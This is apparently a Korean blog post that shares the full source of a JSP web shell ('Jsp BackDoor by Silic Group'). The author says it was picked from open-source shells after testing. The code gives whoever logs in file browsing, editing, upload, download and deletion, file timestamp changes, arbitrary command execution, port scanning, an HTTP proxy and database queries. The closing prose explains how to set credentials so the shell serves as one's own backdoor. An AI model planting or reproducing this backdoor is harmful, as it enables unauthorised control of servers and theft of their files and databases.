효투의 세상 로딩중...
효투의 세상 로딩중...
반응형

웹쉘도 종류가 여러가지 있다.

jsp 페이지 asp 페이지 마다 다른 코드가 적용되어야하고

서버의 OS가 윈도우인지 리눅스인지에 따라서도 다르다.

DB커넥션을 이용해 데이터베이스에 접근 하려해도

Oracle DB커넥션, Mysql DB커넥션, MS-SQL DB커넥션 등등 

 

수 많은 웹쉘 코드가 오픈소스로 공유되어있지만,

직접 다 테스트해보며 괜찮은 코드들을 엄선했다.

 

1. Jsp BackDoor

코드 보기

더보기

 

<%@page import="java.util.*,java.io.*,java.sql.*,java.util.zip.*,java.lang.reflect.*,java.net.*,javax.servlet.jsp.*"%>
<%@page pageEncoding="UTF-8"%>
<%!
final String APP_NAME="Manage System - JSP";
int portListen=5000;
boolean openHttpProxy=false;
void mainForm(String web_Site,JspWriter out)throws Exception{
    out.print("<table width=100% height=100% border=0 bgcolor=white>");
    out.print("<tr><td height=30 colspan=2>");
    out.print("<table width=100% height=25 border=0>");
    out.print("<form name=address method=post target=FileFrame onSubmit='checkUrl();'>");
    out.print("<tr><td width=60 align=center>FilePath:</td><td>");
    out.print("<input name=FolderPath style=width:100% value='"+web_Site+"' onchange='checkUrl();'>");
    out.print("<input type=hidden name=Action value=F>");
    out.print("<input type=hidden name=Filename>");
    out.print("</td><td width=60 align=center><a href='javascript:checkUrl();'>GOtoLink</a>");
    out.print("</td></tr></form></table></td></tr><tr><td width=148>");
    out.print("<iframe name=Menu src=?Action=M width=100% height=100% frameborder=2 scrolling=yes></iframe></td>");
    out.print("<td width=600>");
    out.print("<iframe name=FileFrame src='?Action=F&FolderPath="+web_Site+"' width=100% height=100% frameborder=1 scrolling=yes></iframe>");
    out.print("</td></tr></table>");
}
void mainMenu(JspWriter out,String web_Site)throws Exception{
    out.println("<table>");
    out.println("<tr><td bgcolor=Black><a href=?Action=M>"+ico(58)+"FileOperation(File.class)</a></td></tr>");
    out.println("<tr><td bgcolor=white onclick=top.address.FolderPath.value='"+folderReplace(web_Site)+"'><a href='?Action=F&FolderPath="+web_Site+"' target=FileFrame>"+ico(48)+"WEB Folder</a></td></tr>");
    out.println("<tr><td bgcolor=white><a href=?Action=S target=FileFrame>"+ico(53)+"SystemInfo(System.class)</a></td></tr>");
    out.println("<tr><td bgcolor=white><a href=?Action=L target=FileFrame>"+ico(53)+"ServletInfo</a></td></tr>");
    out.println("<tr><td bgcolor=white><a href=?Action=T target=FileFrame>"+ico(53)+"SystemTools</a></td></tr>");
    out.println("<tr><td bgcolor=white><a href=?Action=i target=FileFrame>"+ico(57)+"Interfaces</a></td></tr>");
    out.println("<tr><td bgcolor=white><a href='http://blackbap.org/' target=FileFrame>About Silic Group</a></td></tr>");
    out.println("</table>");
}
void showFiles(JspWriter out,String path)throws Exception{
    File file=new File(path);
    long maxSize=0;
    if(file.isDirectory()&&file.exists()){
        File[] f=file.listFiles();
        out.println("<table><tr bgcolor=white><td>name</td><td>type</td><td>size</td><td>modify date</td><td>readonly</td><td>can write</td><td>hidden</td><td>Action</td></tr>");
        for(int i=0;i<f.length;i++){
            maxSize=maxSize+f[i].length();
            if(f[i].isDirectory())
                out.println("<tr bgcolor=white><td><a href=\"javascript:top.address.FolderPath.value='"+folderReplace(f[i].getAbsolutePath())+"/';checkUrl();\">"+ico(48)+f[i].getName()+"</a></td><td> DIR </td><td>"+getSize(f[i].length())+"</td><td>"+new java.util.Date(f[i].lastModified())+"</td><td>"+f[i].canRead()+"</td><td>"+f[i].canWrite()+"</td><td>"+f[i].isHidden()+"</td><td>"+fOperation(true,f[i].getAbsolutePath())+"</td></tr>");
            else
                out.println("<tr><td>"+ico(50)+f[i].getName()+"</td><td> file </td><td>"+getSize(f[i].length())+"</td><td>"+new java.util.Date(f[i].lastModified())+"</td><td>"+f[i].canRead()+"</td><td>"+f[i].canWrite()+"</td><td>"+f[i].isHidden()+"</td><td>"+fOperation(false,f[i].getAbsolutePath())+"</td></tr>");
        }
        out.println("</table>");
        out.print("this folder size:"+getSize(maxSize));
    }
}
void showSystemInfo(JspWriter out)throws Exception{
    Map map=null;
    Set set=null;
    Iterator it=null;

    map=System.getProperties();
    set=map.keySet();
    it=set.iterator();
    out.println("<hr>System Property info:<ul>");
        while(it.hasNext()){
        Object oName=it.next();
        out.println("<li>"+oName+" [ "+map.get(oName)+" ]");
    }
    out.print("</ul><hr>System CPU :");
    out.print(Runtime.getRuntime().availableProcessors()+" <br>");
    out.print("the JVM Free Memory :"+getSize(Runtime.getRuntime().freeMemory()));
    out.print("<br>the JVM Max Memory :"+getSize(Runtime.getRuntime().maxMemory()));
}
void servletInfo(ServletConfig config,JspWriter out)throws Exception{
    ServletContext sc=config.getServletContext();
    out.println("Server info: "+sc.getServerInfo()+"<br>");
    out.println("ServletContext name: "+sc.getServletContextName()+"<br>");
    out.println("Major version :"+sc.getMajorVersion()+"<br>");
    out.println("Minor version :"+sc.getMinorVersion()+"<br>");
    Enumeration en=sc.getInitParameterNames();
    String initInfo="init parameter: <br>";
    out.print(initInfo);
    while(en.hasMoreElements()){
        String name=(String)en.nextElement();
        initInfo="key:"+name+" value:"+sc.getInitParameter(name) +"<br>";
        out.print(initInfo);
    }
  
}
void downFile(String filename,HttpServletResponse res)throws Exception{
    int w=0;
    byte[] buffer=new byte[256];
    byte[] b=(new File(filename)).getName().getBytes();
    String outFile=new String(b,"ISO-8859-1");
    res.reset();
    res.setHeader("Content-disposition","attachment;filename=\""+outFile+"\"");
    ServletOutputStream sos=res.getOutputStream();
    BufferedInputStream bis=null;
    try{
        bis=new BufferedInputStream(new FileInputStream(filename));
        while((w=bis.read(buffer,0,buffer.length))!=-1){
            sos.write(buffer,0,w);
        }
    }catch(Exception e){
    }finally{
        if(bis!=null)bis.close();
    }
    sos.flush();
    res.flushBuffer();
}
void deleteFile(String filename,JspWriter out)throws Exception{
    File f=new File(filename);
    if(f.exists()){
        if(f.delete())out.print(filename+"delete success...");
    }else{
        out.print("file not find!!");
    }
}
void renameFile(String filename,JspWriter out)throws Exception{
    int split=filename.indexOf("|");
    String newFilename=filename.substring(split+1);
    filename=filename.substring(0,split);
    File f=new File(filename);
    if(f.exists()){
        if(f.renameTo(new File(newFilename)))out.print(newFilename+" file move success");
    }else{
        out.print("file not find!");
    }
}
void copyFile(String filename,JspWriter out)throws Exception{
    int split=filename.indexOf("|");
    String newFilename=filename.substring(split+1);
    filename=filename.substring(0,split);
    File f=new File(filename);
    BufferedInputStream bis=null;
    BufferedOutputStream bos=null;
    if(f.exists()){
        try{
            bis=new BufferedInputStream(new FileInputStream(filename));
            bos=new BufferedOutputStream(new FileOutputStream(newFilename));
            int s=0;
            while((s=bis.read())!=-1){
                bos.write(s);
            }
        }catch(Exception e){
            out.print("file copy failed");
        }finally{
            if(bis!=null)bis.close();
            if(bos!=null)bos.close();
        }
        out.print(newFilename+"file copy success");
    }else{
        out.print("file not find!");
    }
}
void editFile(String filename,JspWriter out)throws IOException{
    File f=new File(filename);
    out.print("<form method=post>File Path:");
    out.print("<input type=text size=80 name=filename value='"+filename+"'>");
    out.print("<input type=button name=kFile onClick='this.form.action=\"?Action=K\";this.form.submit();' value=KeepFile >");
    out.print("<input type=button onClick=editFile(this.form.filename.value); value=ReadFile>");
    out.print("<textarea name=FileContent rows=35 style=width:100%;>");
    if(f.exists()){
        try{
            BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(filename),"UTF-8"));
            String s="";
            while((s=br.readLine())!=null){
                out.println(htmlEntity(s));
            }
        }catch(Exception e){
            out.print("file edit failed");
        }finally{
        }
    }
    out.print("</textarea></form>");
}
void saveFile(String filename,byte[] fileContent,JspWriter out)throws IOException{
    if(filename!=null||fileContent!=null){
        BufferedOutputStream bos=null;
        try{
            bos=new BufferedOutputStream(new FileOutputStream(filename));
            bos.write(fileContent,0,fileContent.length);
        }finally{
            if(bos!=null)bos.close();
        }
        out.print(filename+"file save success");
    }else{
        out.print("Error");
    }
}
void dateChange(String filename,String year,String month,String day,JspWriter out)throws IOException{
    File f=new File(filename);
    if(f.exists()){
        Calendar calendar=Calendar.getInstance();
        calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day));
        if(f.setLastModified(calendar.getTimeInMillis()))
            out.print(filename+"file date change success");
        else
            out.print(filename+"file date change error");
    }else{
        out.println("file not find!!!");
    }
}
void execFile(String file,JspWriter out)throws Exception{
    int i=0;
    Runtime rt=Runtime.getRuntime();
    Process ps=rt.exec(file);
    InputStreamReader isr = null;
    char[] bufferC=new char[1024];
    try{
        isr=new InputStreamReader(ps.getInputStream(),"UTF-8");
        out.print("<textarea rows=35 style=width:100%;>");
        while((i=isr.read(bufferC,0,bufferC.length))!=-1){
            out.print(htmlEntity(new String(bufferC,0,i)));
        }
    }catch(Exception e){
        out.print("run file error");
    }finally{
        if(isr!=null)isr.close();
    }
    out.print("</textarea>");
    systemTools(out);
}
void zip(String zipPath, String srcPath,JspWriter out) throws Exception {
    FileOutputStream output = null;
    ZipOutputStream zipOutput = null;
    try{
        output = new FileOutputStream(zipPath);
        zipOutput = new ZipOutputStream(output);
        zipEntry(zipOutput,srcPath,srcPath,zipPath);
    }catch(Exception e){
        out.print("file zip error");
    }finally{
        if(zipOutput!=null)zipOutput.close();
    }
    out.print("zip ok"+zipPath);
}
void zipEntry(ZipOutputStream zipOs, String initPath,String filePath,String zipPath) throws Exception {
    String entryName = filePath;
    File f = new File(filePath);
    if (f.isDirectory()){
        String[] files = f.list();
        for(int i = 0; i < files.length; i++)
            zipEntry(zipOs, initPath, filePath + File.separator + files[i],zipPath);
        return;
    }
    String chPh = initPath.substring(initPath.lastIndexOf("/") + 1);
    int idx=initPath.lastIndexOf(chPh);
    if (idx != -1) {
        entryName = filePath.substring(idx);
    }
    ZipEntry entry;
    entry = new ZipEntry(entryName);
    File ff = new File(filePath);
    if(ff.getAbsolutePath().equals(zipPath))return;
    entry.setSize(ff.length());
    entry.setTime(ff.lastModified());
    entry.setCrc(0);
    CRC32 crc = new CRC32();
    crc.reset();
    zipOs.putNextEntry(entry);
    int len = 0;
    byte[] buffer = new byte[2048];
    int bufferLen = 2048;
    FileInputStream input =null;
    try{
        input = new FileInputStream(filePath);
        while ((len = input.read(buffer, 0, bufferLen)) != -1) {
                zipOs.write(buffer, 0, len);
                crc.update(buffer, 0, len);
        }
    }catch(Exception e){
    }finally{
        if(input!=null)input.close();
    }
    entry.setCrc(crc.getValue());
}
void upfile(HttpServletRequest request,JspWriter out,String filename)throws Exception{
        String boundary = request.getContentType().substring(30);
        ServletInputStream sis=request.getInputStream();
        BufferedOutputStream bos=null;
        byte[] buffer = new byte[1024];
        int line=-1;
        for(int i=0;i<5;i++){
            line=readLine(buffer,sis,boundary);
        }
        try{
            bos=new BufferedOutputStream(new FileOutputStream(filename));
            while(line!=-1){
                bos.write(buffer,0,line);
                line=readLine(buffer,sis,boundary);
            }
            out.print("upload success");
        }catch(Exception e){
            out.print("upload failed!");
        }finally{
            if(bos!=null)bos.close();
        }
}
int readLine(byte[] lineByte,ServletInputStream servletInputstream,String endStr){
    try{
        int len=0;
        len=servletInputstream.readLine(lineByte,0,lineByte.length);
        String str=new String(lineByte,0,len);
        System.out.println(str);
        if(str.indexOf(endStr)==-1)
            return len;
        else
            return -1;
    }catch(Exception _ex){
        return -1;
    } 
}
void newFolder(JspWriter out,String foldername)throws Exception{
    File f=new File(foldername);
    if(f.mkdirs()){
        out.print("create folder success");
    }else{
        out.print("create folder failed!");
    }
}
void reflectAPI(JspWriter out,String className)throws Exception{
    Class cls=Class.forName(className);
    String constructor="";
    String ifString="";
    Class[] interfaces=cls.getInterfaces();
    String supperClass=cls.getSuperclass().toString();
    Constructor[] c=cls.getDeclaredConstructors();
    Field[] f=cls.getDeclaredFields();
    Method[] m=cls.getDeclaredMethods();
   
    for(int i=0;i<interfaces.length;i++){
        ifString=ifString+interfaces[i].getName()+",";
    }
    out.print("<strong>"+Modifier.toString(cls.getModifiers())+"</strong> "+cls+"<br><strong>extends</strong> "+supperClass+" <strong><br>implemets</strong> "+ifString);
    out.print("<br>{<br><EM>Constructor:</EM><br>");
    for(int i=0;i<c.length;i++)
        out.print("     "+c[i]+"<br>");
    out.print("<EM>Field:</EM><br>");
    for(int i=0;i<f.length;i++)
        out.print("     "+f[i]+"<br>");
    out.print("<EM>Function:</EM><br>");
    for(int i=0;i<m.length;i++)
        out.print("     "+m[i]+"<br>");
    out.print("<br>}");
}
void scanPort(JspWriter out,String strAddress,int startPort,int endPort)throws Exception{
    if(endPort<startPort||startPort<=0||startPort>65535||endPort>65535||endPort<=0){
        out.print("port setup error");
        return;
    }
    InetAddress ia=InetAddress.getByName(strAddress);
    for(int p=startPort;p<=endPort;p+=15){
        (new ScanPort(ia,p,p+14,out)).start();
    }
    Thread.sleep((int)(endPort/startPort)*5000);
}
class ScanPort extends Thread{
    int startPort;
    int endPort;
    InetAddress address;
    javax.servlet.jsp.JspWriter out;
    public ScanPort(InetAddress address,int startPort,int endPort,JspWriter out){
        this.address=address;
        this.startPort=startPort;
        this.endPort=endPort;
        this.out=out;
    }
    public void run(){
       Socket s=null;
       for(int port=startPort;port<=endPort;port++){
           try{
               s=new Socket(address,port);
               out.println("port "+port+" is Open<br>");
           }
           catch(IOException e){
           }finally{
                try{s.close();}catch(Exception e){}
           }
       }
    }
}
public void switchProxyService(JspWriter out)throws Exception{
 if(openHttpProxy=!openHttpProxy){
  new RunProxyService(portListen).start();
  out.print("Proxy running");
 }else{
  out.print("Proxy closed");
 }
}
public class RunProxyService extends Thread{
 int port;
 public RunProxyService(int port){
  this.port=port;
 }
 public void run(){
  try {
   ServerSocket ss=new ServerSocket(5000);
   while(true){
    if(openHttpProxy){
     new HttpProxy(ss.accept()).start();
    }else{
     break;
    }
   }
   ss.close();
  } catch (IOException e) {
  }
 }
}
public class HttpProxy extends Thread{
 private Socket s;
 public int timeOut=10000;
 public HttpProxy(Socket s){
  this.s=s;
 }
 public HttpProxy(Socket s,int timeOut){
  this.s=s;
  this.timeOut=timeOut;
 }
 public void run(){
  byte[] bit=new byte[1024];
  int readBit=0;
  int size=0;
  String returnAddress=null;
  int returnPort = 0;
  String sendHostName=null;
  int sendPort=0;
  Socket sendSocket=null;
  OutputStream os=null;
  InputStream is=null;
  try{
   int split=0;
   is=s.getInputStream();
   if((size=is.read(bit, 0, bit.length))==-1)return;
   String httpHead=new String(bit,0,size);
   split=httpHead.indexOf("\nHost: ")+7;
   sendHostName=httpHead.substring(split, httpHead.indexOf("\n", split));
   if((split=sendHostName.indexOf(':'))!=-1){
    sendPort=Integer.parseInt(sendHostName.substring(split+1).trim());
    sendHostName=sendHostName.substring(0,split);
    sendSocket=new Socket(sendHostName.trim(),sendPort);
   }else{
    sendSocket=new Socket(sendHostName.trim(),80);
   }
   sendSocket.setSoTimeout(timeOut);
   os=sendSocket.getOutputStream();
   os.write(httpHead.getBytes());
   if(size==bit.length)
   while((size=is.read(bit, 0, bit.length))!=-1){
    os.write(bit,0 , size);
   }
   os.flush();
   is=sendSocket.getInputStream();
   os=s.getOutputStream();
  
   while((size=is.read(bit, 0, bit.length))!=-1){
    os.write(bit,0 , size);
    os.flush();
   }
  }catch(SocketException se){
  } catch (IOException ie) {
  } catch (Exception e) {
  }finally{
   if(is!=null){
    try {
     is.close();
    } catch (IOException e) {
    }
   }
   if(os!=null){
    try {
     os.close();
    } catch (IOException e) {
    }
   }
  }
 }
}
void ConnectionDBM(JspWriter out,String driver,String url,String userName,String passWord,String sqlAction,String sqlCmd)throws Exception{
 DBM dbm=new DBM(driver,url,userName,passWord,out);
 if(sqlAction.equals("LDB")){
  dbm.lookInfo();
 }else{
  dbm.executeSQL(sqlCmd);
 }
 dbm.closeAll();
}
class DBM{
    private JspWriter out;
    private Connection con;
    private Statement stmt;
    private ResultSet rs;
    public DBM(String driverName,String url,String userName,String passWord,JspWriter out)throws Exception{
        Class.forName(driverName);
        this.out=out;
        con=DriverManager.getConnection(url,userName,passWord);
    }
    public void lookInfo()throws Exception{
     DatabaseMetaData dbmd=con.getMetaData();
     String tableType=null;
     out.print("<strong>DataBaseInfo</strong><table>");
     out.print("<tr><td>DataBaseName:</td><td>"+dbmd.getDatabaseProductName()+"</td></tr>");
     out.print("<tr><td>DataBaseVersion:</td><td>"+dbmd.getDatabaseProductVersion()+"</td></tr>");
     out.print("<tr><td>the Numeric Function:</td><td>"+dbmd.getNumericFunctions()+"</td></tr>");
     out.print("<tr><td>the String Function:</td><td>"+dbmd.getStringFunctions()+"</td></tr>");
     out.print("<tr><td>the TimeDate Function:</td><td>"+dbmd.getTimeDateFunctions()+"</td></tr>");
     out.print("<tr><td>the System Function:</td><td>"+dbmd.getSystemFunctions()+"</td></tr>");
     out.print("</table>");
     out.print("<strong>ProcedureInfo</strong><table>");
     try{
      getProcedureDetail(dbmd.getProcedures(null,null,null));
     }catch(Exception proE){}
     try{
      rs=dbmd.getTables(null,null,null,null);
     }catch(Exception tabE){}
     out.print("<strong>DataBase Tables Info</strong><br>");
     while(rs.next()){
      tableType=rs.getString(4);
      out.print("<strong>TableName:</strong>"+rs.getString(3)+" <strong>Type:</strong>"+tableType+"<br>");
      if(tableType.indexOf("VIEW")>=0||tableType.indexOf("TABLE")>=0){
       try{
        getTableDetail(dbmd.getColumns(null,null,rs.getString(3),null));
       }catch(Exception columnE){}
      }
     }
     this.closeAll();
    }
    private void getTableDetail(ResultSet tableRs)throws Exception{
        out.print("<table border=1><tr><td>Column Name</td><td>Data Type</td><td>Type Name</td><td>COLUMN_SIZE</td><td>IS_NULLABLE</td><td>CHAR_OCTET_LENGTH</td></tr>");
        while(tableRs.next()){
            out.print("<tr><td>"+tableRs.getString(4)+"</td><td>"+tableRs.getInt(5)+"</td><td>"+tableRs.getString(6)+"</td><td>"+tableRs.getInt(7)+"</td><td>"+tableRs.getString(18)+"</td><td>"+tableRs.getInt(16)+"</td></tr>");
        }
        out.print("</table>");
        tableRs.close();
    }
    private void getProcedureDetail(ResultSet procRs)throws Exception{
     out.print("<table border=1><tr><td>PROCEDURE_NAME</td><td>REMARKS</td><td>PROCEDURE_TYPE</td></tr>");
     while(procRs.next()){
      out.print("<tr><td>"+procRs.getString(3)+"</td><td>"+procRs.getString(7)+"</td><td>"+procRs.getShort(8)+"</td></tr>");
     }
     out.print("</table>");
     procRs.close();
    }
    public void executeSQL(String sqlCmd)throws Exception{
     stmt=con.createStatement();
     if(sqlCmd.trim().toLowerCase().startsWith("select")){
      rs=stmt.executeQuery(sqlCmd);
      ResultSetMetaData rsmd=rs.getMetaData();
      int ColumnCount=rsmd.getColumnCount();
      out.print("<table border=1><tr>");
      for(int i=1;i<=ColumnCount;i++){
       out.print("<td>"+rsmd.getColumnName(i)+"</td>");
      }
      out.print("</tr>");
      while(rs.next()){
       out.print("</tr>");
          for(int i=1;i<=ColumnCount;i++){
           out.print("<td>"+rs.getString(i)+"</td>");
          }
          out.print("</tr>");
      }
     }else{
      stmt.executeUpdate(sqlCmd);
      out.print("execute success");
     }
    }
    public void closeAll()throws SQLException{
        try{
            if(rs!=null)rs.close();
        }catch(Exception e){
        }
        try{
            if(stmt!=null)stmt.close();
        }catch(Exception e){
        }
        try{
         if(con!=null)con.close();
        }catch(Exception e){
        }
    }
}
void systemTools(JspWriter out)throws Exception{
    out.print("<table border=1>");
    out.print("<tr><form method=post action='?Action=run'><td bordercolorlight=Black bgcolor=white>System class run</td>");
    out.print("<td colspan=2>filepath:<input name=execFile size=75 type=text title='d:\\cmd.exe /c dir c:'></td><td><input name=go type=submit value=run></td></form></tr>");
    out.print("<tr><form method=post enctype=\"multipart/form-data\" action='?Action=Upfile'><td bordercolorlight=Black bgcolor=white>file upload</td>");
    out.print("<td colspan=2>file:<input name=file type=file>upload file<input title='d:\\silic.txt' name=UPaddress size=35 type=text></td><td><input name=up onclick=\"this.form.action+='&UPaddress='+this.form.UPaddress.value;\" type=submit value=upl></td></form></tr>");
    out.print("<tr><form method=post action='?Action=EditFile'><td bordercolorlight=Black bgcolor=white>new file</td><td colspan=2>file name:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>");
    out.print("</form></tr>");
    out.print("<tr><form method=post action='?Action=newFolder'><td bordercolorlight=Black bgcolor=white>Create folder</td><td colspan=2>folder name:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>");
    out.print("</form></tr>");
    out.print("<tr><form method=post action='?Action=APIreflect'><td bordercolorlight=Black bgcolor=white>Reflect API</td><td colspan=2>Class Name:<input name=Filename title=java.lang.String type=text size=50></td><td><input name=submit type=submit value=ref></td>");
    out.print("</form></tr>");
    out.print("<tr><form method=post action='?Action=IPscan'><td bordercolorlight=Black bgcolor=white>Scan Port</td><td>IP:<input name=IPaddress type=text size=20></td><td>Start Port:<input name=startPort title=1-65535 type=text size=5>End Port:<input name=endPort title=1-65535 type=text size=5></td><td><input name=submit type=submit value=sca></td>");
    out.print("</form></tr>");
    out.print("<tr><form method=post action='?Action=sql'>");
    out.print("<td bordercolorlight=Black bgcolor=white>DBM");
    out.print("<select name=DB onChange='setDataBase(this.form);'><option>Sybase</option><option>Mssql</option><option>Mysql</option><option>Oracle</option><option>DB2</option><option>PostgreSQL</option></select></td><td>");
    out.print("Driver:<input name=driver type=text>URL:<input name=conUrl type=text>user:<input name=user type=text size=3>password:<input name=password type=text size=3></td>");
    out.print("<td>SqlCmd:<input type=text name=sqlcmd title='select * from admin'><input name=run type=submit value=Exec></td>");
    out.print("<td><input name=run type=submit value=LDB></td>");
    out.print("</form></tr>");
    if(!openHttpProxy){
     out.print("<tr><td><a href='?Action=HttpProxy' target=FileFrame>OpenTheHttpProxy</a></td></tr>");
    }else{
     out.print("<tr><td><a href='?Action=HttpProxy' target=FileFrame>CloseTheHttpProxy</a></td></tr>");
    }
    out.print("</table>");
}
void userInterFaces(JspWriter out)throws Exception{
out.print("Recode by <a href='http://blackbap.org/'>Silic Group Inc.</a>");
}

String encodeChange(String str)throws Exception{
    if(str==null)
        return null;
    else
        return new String(str.getBytes("ISO-8859-1"),"UTF-8");
}
String folderReplace(String folder){
    return folder.replace('\\','/');
}
String fOperation(boolean f,String file){
    if(f)
        return "<a href=\"javascript:delFile('"+folderReplace(file)+"')\">Delete</a> <a href=\"javascript:reName('"+folderReplace(file)+"')\">Rename</a> <a href=\"javascript:setDate('"+folderReplace(file)+"')\">setDate</a> <a href=\"javascript:zipFile('"+folderReplace(file)+"')\">Zip</a>";
    else
        return "<a href=\"javascript:delFile('"+folderReplace(file)+"')\">Delete</a> <a href=\"javascript:reName('"+folderReplace(file)+"')\">Rename</a> <a href=\"javascript:setDate('"+folderReplace(file)+"')\">setDate</a> <a href=\"javascript:copyFile('"+folderReplace(file)+"')\">Copy</a> <a href=\"javascript:editFile('"+folderReplace(file)+"')\">Edit</a> <a href=\"javascript:downFile('"+folderReplace(file)+"');\">Down</a>";
}
String getSize(long size){
    if(size>=1024*1024*1024){
        return new Long(size/1073741824L)+"G";
    }else if(size>=1024*1024){
        return new Long(size/1048576L)+"M";
    }else if(size>=1024){
        return new Long(size/1024)+"K";
    }else
        return size+"B";
}
String ico(int num){
    return "<font face=wingdings size=3>&#"+num+"</font>";
}
String htmlEntity(String htmlCode){
 StringBuffer sb=new StringBuffer();
 char c=0;
 for(int i=0;i<htmlCode.length();i++){
  c=htmlCode.charAt(i);
  if(c=='<')sb.append("<");
  else if(c=='>')sb.append(">");
  else if(c==' ')sb.append(" ");
  else sb.append(c);
 }
 return sb.toString();
}
%>
<%
    session.setMaxInactiveInterval(6000);
    final String WEB_SITE=folderReplace(application.getRealPath("/"));
    final String URL=request.getRequestURI();
    if(session.getAttribute("ID")==null){
        String username="ID입력";
        String password="PW입력";
  if(request.getParameter("Silic")!=null&&request.getParameter("juliet")!=null&&request.getParameter("Silic").equals(username)&&request.getParameter("juliet").equals(password)){
            session.setAttribute("ID","1");
            response.sendRedirect(URL);
        }else{
            out.println("<center style=font-size:12px><br><br>"+"Jsp BackDoor by Silic Group Juliet"+"<br><br>" +
                    "<form name=login method=post>username:<input name=Silic type=text size=15><br>" +
                    "password:<input name=juliet type=password size=15><br><input type=submit value=Login></form></center>");
        }
        return;
    }
%>
<html>
<head>
<meta http-equiv=Content-Type content="text/html; charset=UTF-8">
<title><%=APP_NAME%></title>
<style type="text/css">
body,td{font-size: 12px;}
table{T:expression(this.border='1',this.borderColorLight='Black',this.borderColorDark='White');}
input,select{font-size:12px;}
body{bgcolor="white";margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}
td{white-space:nowrap;}
a{color:black;text-decoration:none;}
</style>
<script>
    Top=top.address;
    function downFile(file){
        Top.Filename.value=file;
        Top.Action.value="D";
        Top.submit();
    }
    function checkUrl(){
        top.address.Action.value="F";
        top.address.submit();
    }
    function editFile(file){
        top.address.Action.value="E";
        top.address.Filename.value=file;
        top.address.submit();
    }
    function delFile(file){
        top.address.Action.value="R";
        top.address.Filename.value=file;
        top.address.submit();
    }
    function reName(file){
        if((Rname=prompt("rename to?",file))!=""&&Rname!=null){
            Top.Action.value="N";
            top.address.Filename.value=file+"|"+Rname;
            Top.submit();
        }
    }
    function copyFile(file){
        if((Rname=prompt("copy to?",file))!=""&&Rname!=null){
            Top.Action.value="P";
            top.address.Filename.value=file+"|"+Rname;
            Top.submit();
        }
    }
    function setDate(file){
        document.write("Change date:<br><form method='post' action='?Action=dateChange'>");
        document.write("filename:<input name='Filename' type='text' size=60 readonly value='"+file+"'><br>");
        document.write("Year:<select name='year'>");
        for(i=1970;i<=2050;i++){
            document.write("<option value="+i+">"+i+"</option>");
        }
        document.write("</select>");
        document.write("Month:<select name='month'>");
        for(i=1;i<=12;i++){
            document.write("<option value="+i+">"+i+"</option>");
        }
        document.write("</select>");
        document.write("Day:<select name='day'>");
        for(i=1;i<=31;i++){
            document.write("<option value="+i+">"+i+"</option>");
        }
        document.write("</select>");
        document.write("<input name='Action' type='button' onclick='top.address.Action.value=\"d\";this.form.submit();' value='dateChange'>");
        document.write("<input name='cancel' onclick='history.back();' type='button' value='Cancel'>");
    }
    function zipFile(file){
        if((zipF=prompt("save to ?",file+"/down.zip"))!=""&&zipF!=null){
            top.address.Action.value="Z";
            top.address.FolderPath.value=file;
            top.address.Filename.value=zipF;
            top.address.submit();
        }
    }
    function setDataBase(f){
        driverName=new Array();
        driverName[0]="com.sybase.jdbc2.jdbc.SybDriver";
        driverName[1]="com.microsoft.jdbc.sqlserver.SQLServerDriver";
        driverName[2]="com.mysql.jdbc.Driver";
        driverName[3]="oracle.jdbc.driver.OracleDriver";
        driverName[4]="com.ibm.db2.jdbc.app.DB2Driver";
        driverName[5]="org.postgresql.Driver";
        conUrl=new Array();
        conUrl[0]="jdbc:jtds:sybase://host:port/database";
        conUrl[1]="jdbc:microsoft:sqlserver://host:port;DatabaseName=";
        conUrl[2]="jdbc:mysql://host:port/database";
        conUrl[3]="jdbc:oracle:thin:@123.234.222.222:1521:orcl";
        conUrl[4]="jdbc:db2://host:port/database";
        conUrl[5]="jdbc:postgresql://host:port/database";
        f.driver.value=driverName[f.DB.selectedIndex];
        f.conUrl.value=conUrl[f.DB.selectedIndex];
    }
</script>
</head>
<body bgcolor="white">
<%
    String Action=request.getParameter("Action");
    char action=(Action==null?"0":Action).charAt(0);
    try{
        switch(action){
            case 'M':mainMenu(out,WEB_SITE);break;
            case 'F':showFiles(out,encodeChange(request.getParameter("FolderPath")));break;
            case 'S':showSystemInfo(out);break;
            case 'L':servletInfo(config,out);break;
            case 'D':downFile(encodeChange(request.getParameter("Filename")),response);return;
            case 'E':editFile(encodeChange(request.getParameter("Filename")),out);break;
            case 'R':deleteFile(encodeChange(request.getParameter("Filename")),out);break;
            case 'K':saveFile(encodeChange(request.getParameter("filename")),request.getParameter("FileContent").getBytes("ISO-8859-1"),out);break;
            case 'N':renameFile(encodeChange(request.getParameter("Filename")),out);break;
            case 'P':copyFile(encodeChange(request.getParameter("Filename")),out);break;
            case 'd':dateChange(encodeChange(request.getParameter("Filename")),request.getParameter("year"),request.getParameter("month"),request.getParameter("day"),out);break;
            case 'r':execFile(encodeChange(request.getParameter("execFile")),out);break;
            case 'Z':zip(encodeChange(request.getParameter("Filename")),encodeChange(request.getParameter("FolderPath")),out);break;
            case 'U':upfile(request,out,encodeChange(request.getParameter("UPaddress")));break;
            case 'n':newFolder(out,encodeChange(request.getParameter("Filename")));break;
            case 'A':reflectAPI(out,encodeChange(request.getParameter("Filename")));break;
            case 'I':scanPort(out,encodeChange(request.getParameter("IPaddress")),Integer.parseInt(request.getParameter("startPort")),Integer.parseInt(request.getParameter("endPort")));break;
            case 's':ConnectionDBM(out,encodeChange(request.getParameter("driver")),encodeChange(request.getParameter("conUrl")),encodeChange(request.getParameter("user")),encodeChange(request.getParameter("password")),encodeChange(request.getParameter("run")),encodeChange(request.getParameter("sqlcmd")));break;
            case 'H':switchProxyService(out);break;
            case 'i':userInterFaces(out);break;
            case 'T':systemTools(out);break;
            default:
                mainForm(WEB_SITE,out);break;
        }
    }catch(Exception e){
    }
    out.print("</body></html>");
    out.close();
%>

 

해당 웹쉘을 실행하게 되면 로그인 페이지가 출력되는데 위 첨부해둔 코드기준 656줄 657줄에 ID와 PW를 설정해주면 자신만의 백도어로 활용할 수 있다.

로그인해서 보면 공격자가 보기 편한 인터페이스로 권한이 있는 만큼 서버 내 모든 파일을 다 확인할 수 있다.

파란색 박스는 현재 경로, 연두색 박스는 파일의 권한(chmod), 빨간색 박스는 파일 수정 및 삭제와 같은 기능을한다.

또한 DB 커넥션도 존재하며 실제로 아래 캡처와 같이 DB 정보와 실행할 쿼리를 입력하게되면 모든 DB 정보를 확인할 수 있다.

d

